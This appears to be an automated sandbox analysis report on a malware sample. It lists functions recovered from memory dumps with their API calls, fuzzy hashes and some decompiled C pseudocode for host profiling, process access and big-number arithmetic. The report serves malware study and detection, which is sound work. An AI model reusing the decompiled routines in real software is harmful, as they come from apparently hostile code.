0x0081a1cf
0x0081a1d4
0x0081a1e1
0x0081a1ee
0x0081a1f2
0x0081a1f4
0x0081a1f8
0x0081a1fb
0x0081a20b
0x0081a25e
0x0081a25f
0x0081a20d
0x0081a212
0x0081a213
0x0081a218
0x0081a21b
0x0081a22e
0x00000000
0x0081a230
0x0081a233
0x0081a238
0x0081a246
0x0081a249
0x0081a24f
0x0081a254
0x00000000
0x0081a256
0x0081a256
0x0081a259
0x0081a259
0x0081a254
0x0081a22e
0x0081a264
0x0081a265
0x0081a1d4
0x0081a26b

APIs

GetUserNameW.ADVAPI32(00000000,00811FD2), ref: 0081A1AD
GetComputerNameW.KERNEL32(00000000,00811FD2), ref: 0081A1C9

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

GetUserNameW.ADVAPI32(00000000,00811FD2), ref: 0081A203
GetComputerNameW.KERNEL32(00811FD2,?), ref: 0081A226
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00811FD2,00000000,00811FD4,00000000,00000000,?,?,00811FD2), ref: 0081A249

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: d815c4dfde69e0a6fd0b6ad9fe009402e07b3a2b856501a34a6e5af57157bca0
Instruction ID: 4a727e1f0f65ee3503157e32b049d801b8ef11754f26430f2c37619db98ce4b3
Opcode Fuzzy Hash: d815c4dfde69e0a6fd0b6ad9fe009402e07b3a2b856501a34a6e5af57157bca0
Instruction Fuzzy Hash: 9D21EAB6901208FFCB15DFE8D9859EEBBBCFF48304B1084AAE506E7241D6319B44DB51

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BFCD0, Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFCFA
int.LIBCPMTD ref: 6D4BFD13

Part of subcall function 6D4BFDC0: std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFDD6

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: 6819ef587a83286993b6705eceb863b0e3223483749abda1a1b96b1b4b30e326
Instruction ID: 8966222ed50a598d8b5e769b22855d652f75741f9acff16cd0aaa053f5df0b48
Opcode Fuzzy Hash: 6819ef587a83286993b6705eceb863b0e3223483749abda1a1b96b1b4b30e326
Instruction Fuzzy Hash: 89312A78D051499BCB04CFA8D880FEEB7B4FB59318F118629E526A7790DB355D01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C1F70, Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6D4C1F9A
int.LIBCPMTD ref: 6D4C1FB3

Part of subcall function 6D4BFDC0: std::_Lockit::_Lockit.LIBCPMT ref: 6D4BFDD6

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: dc9827106badd23adc1f8ba93586a0bed249ca94bcb2bf427dc4dc6a72296fa6
Instruction ID: babe17cdae4c5ebd53ce59e2b68f77e06b14acd407e331ba172993c32b20bcc9
Opcode Fuzzy Hash: dc9827106badd23adc1f8ba93586a0bed249ca94bcb2bf427dc4dc6a72296fa6
Instruction Fuzzy Hash: BB312878D0415A9BCB14DFA8D880FFEB7B4FB49318F10862AE525A7390DB745D01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D4CDF38, Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6D4CDF44

Part of subcall function 6D4CAEC6: __getptd_noexit.LIBCMT ref: 6D4CAEC9
Part of subcall function 6D4CAEC6: __amsg_exit.LIBCMT ref: 6D4CAED6

__amsg_exit.LIBCMT ref: 6D4CDF64
__lock.LIBCMT ref: 6D4CDF74
InterlockedDecrement.KERNEL32(?), ref: 6D4CDF91
InterlockedIncrement.KERNEL32(6D4F3218), ref: 6D4CDFBC

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 65d4a157d9aa345e205bc4a5f070fe6f1875f93aacfb12706776fb78baffc03e
Instruction ID: 38984e93a740e23444f09cd402224de7000bdfd3c02b2406ab004204d41849ec
Opcode Fuzzy Hash: 65d4a157d9aa345e205bc4a5f070fe6f1875f93aacfb12706776fb78baffc03e
Instruction Fuzzy Hash: 02010039988A12EBDB11FB648044F6A7370BFC1325F224109E810A3394EB30AD52CBD3

Uniqueness

Uniqueness Score: -1.00%

Function 00813DE9, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00813DE9(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E00815AF1(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0081A81C(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x81d128() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x00813de9
0x00813df6
0x00813df8
0x00813e5b
0x00000000
0x00813e5b
0x00813e10
0x00813e17
0x00813e23
0x00813e28
0x00813e2a
0x00813e2c
0x00813e2e
0x00813e30
0x00813e32
0x00813e3e
0x00813e4e
0x00000000
0x00813e40
0x00813e40
0x00813e47
0x00813e54
0x00813e54
0x00813e54
0x00813e47
0x00813e3e
0x00813e59
0x00000000
0x00000000
0x00813e5f

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,008167B8,?,?,00000000,00000000), ref: 00813E23
ResetEvent.KERNEL32(?), ref: 00813E28
GetLastError.KERNEL32 ref: 00813E40
GetLastError.KERNEL32(?,?,00000102,008167B8,?,?,00000000,00000000), ref: 00813E5B

Part of subcall function 00815AF1: lstrlen.KERNEL32(00000000,00000008,?,73B74D40,?,?,00813E08,?,?,?,?,00000102,008167B8,?,?,00000000), ref: 00815AFD
Part of subcall function 00815AF1: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,00813E08,?,?,?,?,00000102,008167B8,?), ref: 00815B5B
Part of subcall function 00815AF1: lstrcpy.KERNEL32(00000000,00000000), ref: 00815B6B

SetEvent.KERNEL32(?), ref: 00813E4E

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: 1cd336ae7981a628e59165585a4100e17c94e2209b4f6d57673a11f891113e19
Instruction ID: 840e36ae103c7f4e7c0d4b140e7e06c45bfa198536dbc0cc15d069d2ba36a43d
Opcode Fuzzy Hash: 1cd336ae7981a628e59165585a4100e17c94e2209b4f6d57673a11f891113e19
Instruction Fuzzy Hash: 8E01A971100701EBDA306B30EC44F9BBBACFF88B64F208A25F592E14E0D721E984DA61

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C7128, Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 6D4C7146

Part of subcall function 6D4CC0BA: __mtinitlocknum.LIBCMT ref: 6D4CC0D0
Part of subcall function 6D4CC0BA: __amsg_exit.LIBCMT ref: 6D4CC0DC
Part of subcall function 6D4CC0BA: RtlEnterCriticalSection.NTDLL(?), ref: 6D4CC0E4

___sbh_find_block.LIBCMT ref: 6D4C7151
___sbh_free_block.LIBCMT ref: 6D4C7160
HeapFree.KERNEL32(00000000,6D4BC9C7,6D4F09A0,0000000C,6D4CC09B,00000000,6D4F0CD8,0000000C,6D4CC0D5,6D4BC9C7,?,?,6D4D42CF,00000004,6D4F0F18,0000000C), ref: 6D4C7190
GetLastError.KERNEL32(?,6D4D42CF,00000004,6D4F0F18,0000000C,6D4C9A60,6D4BC9C7,?,00000000,00000000,00000000,?,6D4CAE78,00000001,00000214), ref: 6D4C71A1

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 5f1f538831278aa6b2971f8cfda6cae89d875ebaddbe48adfead39e02945653b
Instruction ID: 256af9f947b013151c7149a9d4a1c63039c66e0c050b766108a47be83b0916ed
Opcode Fuzzy Hash: 5f1f538831278aa6b2971f8cfda6cae89d875ebaddbe48adfead39e02945653b
Instruction Fuzzy Hash: 99016279C0D212EBDF21ABB19C05F6E3A74AF01369F22410DE614A6380DF389D418EE7

Uniqueness

Uniqueness Score: -1.00%

Function 00813E69, Relevance: 7.5, APIs: 5, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00813E69(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x81d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x81d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x81d258 = _t6;
					 *0x81d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x81d254 = _t7;
					if(_t7 == 0) {
						 *0x81d254 =  *0x81d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}

0x00813e71
0x00813e77
0x00813e7e
0x00000000
0x00813ed8
0x00813e80
0x00813e88
0x00813e95
0x00813e95
0x00813ed5
0x00000000
0x00813ed5
0x00813e97
0x00813e97
0x00813e9c
0x00813eae
0x00813eb3
0x00813eb9
0x00813ebf
0x00813ec6
0x00813ec8
0x00813ec8
0x00000000
0x00813ecf
0x00813e91
0x00000000
0x00000000
0x00813e93
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,0081131F,?,?,00000001,?,?,?,00814EF2,?), ref: 00813E71
GetVersion.KERNEL32(?,00000001,?,?,?,00814EF2,?), ref: 00813E80
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,00814EF2,?), ref: 00813E9C
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,00814EF2,?), ref: 00813EB9
GetLastError.KERNEL32(?,00000001,?,?,?,00814EF2,?), ref: 00813ED8

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 7cc059e4c7400071378a288b4d18792139e5e9c7f6945fac367a91e608fe6e19
Instruction ID: bdd70c0bb2a92f561534cb36e1a0ce40f077bc577ba3112d0978a9651ee04da4
Opcode Fuzzy Hash: 7cc059e4c7400071378a288b4d18792139e5e9c7f6945fac367a91e608fe6e19
Instruction Fuzzy Hash: 2EF0A9B0680302EBD7208B24AC09BD93FADFF88701F108519E913C61E0D7B0E681CB24

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C0930, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 6D4C0B10

Strings

$, xrefs: 6D4C098E
l, xrefs: 6D4C0949
$, xrefs: 6D4C0994

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: swprintf
String ID: $$$$l
API String ID: 233258989-1469801561
Opcode ID: 028eb3e0a1fdc2b8649f5670f6371ebbfaf6dc5d78f18677fc29355f8178d90a
Instruction ID: 9b32ded298d9ae2a1dd9db10c57639ba06d63d54cf4d46e3475d3aca3511905a
Opcode Fuzzy Hash: 028eb3e0a1fdc2b8649f5670f6371ebbfaf6dc5d78f18677fc29355f8178d90a
Instruction Fuzzy Hash: E3617AB490460DEBDF04DF59D944FAEBBB4FF99300F008198E598A6281CB359EA5CF52

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C0B70, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 154COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 6D4C0D39

Strings

$, xrefs: 6D4C0BD4
l, xrefs: 6D4C0B89
$, xrefs: 6D4C0BCE

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: swprintf
String ID: $$$$l
API String ID: 233258989-1469801561
Opcode ID: 74df3ab9b09028e0184226a9f79eae3fcc41420ac9b8c111289cd8a3de498fca
Instruction ID: d83744b85b627b73d22eccd48168cda61257e9a9c6b1d0cf70b1fadc4cba58fa
Opcode Fuzzy Hash: 74df3ab9b09028e0184226a9f79eae3fcc41420ac9b8c111289cd8a3de498fca
Instruction Fuzzy Hash: 25517CB490460DDFDB08CF95D944FAEB7B4BF85304F0081D8E59866281DB349EA5CF56

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C5373, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

___addlocaleref.LIBCMT ref: 6D4C5385
___removelocaleref.LIBCMT ref: 6D4C5390
___freetlocinfo.LIBCMT ref: 6D4C53A4

Part of subcall function 6D4C50DC: ___free_lconv_mon.LIBCMT ref: 6D4C5122
Part of subcall function 6D4C50DC: ___free_lconv_num.LIBCMT ref: 6D4C5143
Part of subcall function 6D4C50DC: ___free_lc_time.LIBCMT ref: 6D4C51C8

Strings

8,Om, xrefs: 6D4C539B

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: ___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
String ID: 8,Om
API String ID: 4212647719-1634664185
Opcode ID: 292a8bc654f055096b63530e53f44d09d94295d5d681916e373e2af93005233a
Instruction ID: cf11c8011fbd3a34d8e0dcd7e02bd75d3b82717fe8faa1e3e47864bf7af31cca
Opcode Fuzzy Hash: 292a8bc654f055096b63530e53f44d09d94295d5d681916e373e2af93005233a
Instruction Fuzzy Hash: 2BE0863F509C2349C721155CA840F7E63A59FD2511B33097EE865EB378DBA48C81E4D3

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C0460, Relevance: 6.2, APIs: 4, Instructions: 188COMMON

Download Yara Rule

APIs

std::ios_base::getloc.LIBCPMTD ref: 6D4C04E2
numpunct.LIBCPMTD ref: 6D4C053F

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: numpunctstd::ios_base::getloc
String ID:
API String ID: 1901892925-0
Opcode ID: 235b956287bc22aa6e71cb5254f992c44e0ec60a5352f36bc4fd55fde74973d5
Instruction ID: d46cca802f1d8047138c75ead14cd76b786d93c4b6d3fff805351d48088ad30d
Opcode Fuzzy Hash: 235b956287bc22aa6e71cb5254f992c44e0ec60a5352f36bc4fd55fde74973d5
Instruction Fuzzy Hash: CD813EB59041599FCB14CFA8C990FEEBBB5BF58304F10819CE61AA7291DB309E44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00816F3A, Relevance: 6.2, APIs: 4, Instructions: 154
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00816F3A(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x81d2a8; // 0x45fa5a8
					_t5 = _t103 + 0x81e038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x81c290);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x81d2a8; // 0x45fa5a8
												_t28 = _t109 + 0x81e0bc; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x81d2a8; // 0x45fa5a8
														_t33 = _t79 + 0x81e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}

0x00816f3f
0x00816f48
0x00816f49
0x00816f4d
0x00816f53
0x00816f59
0x00816f62
0x00816f68
0x00816f72
0x00816f74
0x00816f7a
0x00816f7f
0x00816f8a
0x00816f90
0x00816f95
0x008170b7
0x00816f9b
0x00816f9b
0x00816fa8
0x00816fae
0x00816fb4
0x00816fb8
0x00816fbe
0x00816fcb
0x00816fcf
0x00816fd5
0x00816fd8
0x00816fe0
0x00816fe1
0x00816fe5
0x00816fe9
0x00816fec
0x00816fef
0x00816ff5
0x00816ffe
0x00817004
0x00817005
0x00817008
0x00817009
0x0081700a
0x00817012
0x00817013
0x00817014
0x00817016
0x0081701a
0x0081701e
0x00000000
0x00000000
0x00817024
0x0081702d
0x00817033
0x0081703d
0x00817041
0x00817043
0x00817050
0x00817054
0x0081705c
0x00817061
0x00817073
0x00817075
0x0081707b
0x0081707b
0x00817084
0x00817084
0x00817086
0x0081708c
0x0081708c
0x0081708f
0x00817095
0x00817098
0x008170a1
0x00000000
0x00000000
0x00000000
0x008170a1
0x00816ff5
0x00816fef
0x00816fd8
0x008170a7
0x008170a7
0x008170ad
0x008170ad
0x008170b3
0x008170b3
0x008170bc
0x008170c2
0x008170c2
0x00816f7f
0x008170cb

APIs

SysAllocString.OLEAUT32(0081C290), ref: 00816F8A
lstrcmpW.KERNEL32(00000000,0076006F), ref: 0081706B
SysFreeString.OLEAUT32(00000000), ref: 00817084
SysFreeString.OLEAUT32(?), ref: 008170B3

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: e513b11877493ba5ebc6d8d8b5bcb496975dbdf490f404087db5840cdfd803e4
Instruction ID: 11461e80fc6f5e42811a70f13fc85caa518f38be2d470d8f888eefe9f344a8f3
Opcode Fuzzy Hash: e513b11877493ba5ebc6d8d8b5bcb496975dbdf490f404087db5840cdfd803e4
Instruction Fuzzy Hash: 18510F75D00619EFCB10DFA8C8889EEB7B9FF8D704B148598E915EB210D7729D41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C78CF, Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 6D4C7993
__fileno.LIBCMT ref: 6D4C79B3
__locking.LIBCMT ref: 6D4C79BA
__flsbuf.LIBCMT ref: 6D4C79E5

Part of subcall function 6D4C8C2B: __getptd_noexit.LIBCMT ref: 6D4C8C2B

Part of subcall function 6D4C6B47: __decode_pointer.LIBCMT ref: 6D4C6B52

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: 6f3d9d1881701bf8a52d60968634c7a9a83557c85b61e262406e1b402bd53dd6
Instruction ID: 424e7e4b1cc94b700e38205ae31bcc8eb3111cd1f578b08a4ee8c7c028198720
Opcode Fuzzy Hash: 6f3d9d1881701bf8a52d60968634c7a9a83557c85b61e262406e1b402bd53dd6
Instruction Fuzzy Hash: 1A41E539E08606DFEB15CF69C880DAEBBB6AF81360F31852DE46597250E771DE41CB42

Uniqueness

Uniqueness Score: -1.00%

Function 008153C6, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E008153C6(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E00811AD1(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E008150FF(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E00815745(_t101,  &_v236, _a8, _t96 - _t81);
					E00815745(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E008150FF(_t101, 0x81d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E008150FF(_a16, _a4);
						E00815088(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0081AF2E();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0081AF28();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E00815F21(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E008190C2(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E00816044(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x81d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x008153c9
0x008153d5
0x008153db
0x008153e0
0x008153e4
0x00815541
0x00815545
0x00815545
0x008153ea
0x008153ee
0x008153f2
0x008153f5
0x00815400
0x00815406
0x0081540b
0x0081540e
0x00815428
0x00815434
0x0081543d
0x00815447
0x0081544c
0x0081544e
0x00815451
0x008154ff
0x00815505
0x00815516
0x00815529
0x00815539
0x00000000
0x0081553e
0x0081545a
0x00815461
0x00815465
0x0081546b
0x0081546d
0x0081546f
0x00815471
0x00815473
0x0081547d
0x00815482
0x00815484
0x00815486
0x00815487
0x00815488
0x00815489
0x00815490
0x00815497
0x0081549a
0x0081549a
0x00815467
0x00815467
0x00815467
0x008154a2
0x008154aa
0x008154b3
0x008154b8
0x008154b8
0x008154bd
0x00000000
0x00000000
0x008154bf
0x008154c2
0x008154cc
0x00000000
0x00000000
0x008154ce
0x008154ce
0x008154d8
0x008154b8
0x008154bd
0x00000000
0x00000000
0x00000000
0x008154bd
0x008154e2
0x008154e5
0x008154e8
0x008154ef
0x008154ef
0x008154fc
0x00000000
0x008154fc
0x008153f7
0x008153fb
0x008153fc
0x008153fe
0x00000000
0x00000000
0x00000000
0x008153fe
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 00815473
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 00815489
memset.NTDLL ref: 00815529
memset.NTDLL ref: 00815539

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
